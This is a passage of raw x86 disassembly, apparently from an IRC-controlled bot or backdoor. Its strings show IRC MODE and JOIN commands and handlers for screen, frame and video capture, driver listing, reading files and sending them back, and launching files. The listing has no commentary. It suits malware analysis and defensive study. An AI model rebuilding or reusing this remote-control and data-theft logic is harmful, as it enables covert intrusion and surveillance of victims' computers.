		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40884B

loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		call	near ptr 2660EB7h
		nop
		jmp	short loc_408839
; ---------------------------------------------------------------------------

loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_429E28

loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------

loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_429DFC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40894A

loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_408934
; ---------------------------------------------------------------------------

loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset dword_429DC0
		jmp	loc_408857
; ---------------------------------------------------------------------------

loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DB8
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h

loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854

loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_429DA4
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------

loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B460
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_429D88

loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429D80
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D64
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D48
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_429D20
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42C938
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 2660EB7h
		nop
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_429D00
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------

loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CE4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CC4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CA4

loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------

loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------

loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429C7C
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C4C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_429C30
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429BFC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------

loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_429BCC
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------

loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_429B90

loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi

loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CAFA4
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_429B60
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h

loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B38
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------

loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_429AD0
		jmp	short loc_408F78
; ---------------------------------------------------------------------------

loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_429A98

loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_429A64
		jmp	loc_40874A
; ---------------------------------------------------------------------------

loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_429A24
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_4299E4
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch

loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------

loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4299C0
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_42999C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_429998 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42996C

loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------

loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429954
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_429934
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429918
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429900
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40921A

loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		call	near ptr 2660EB7h
		nop
		jmp	short loc_409204
; ---------------------------------------------------------------------------

loc_40921A:				; CODE XREF: sub_401ACD+7735j
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset unk_4298C0

loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_4298A8
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429884
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6

loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2660EB7h
		nop
		jmp	short loc_409325
; ---------------------------------------------------------------------------

loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		nop
		call	near ptr 2670188h
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429868
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------

loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------

loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429844
		jmp	short loc_40939D
; ---------------------------------------------------------------------------

loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429814

loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_4297F4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_4297C4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]

loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_4297A4
		push	eax
		call	sub_41B886

loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CAFF8
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB000
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------

loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_42977C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429754
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429734
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429710
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_4296E8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B460
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------

loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
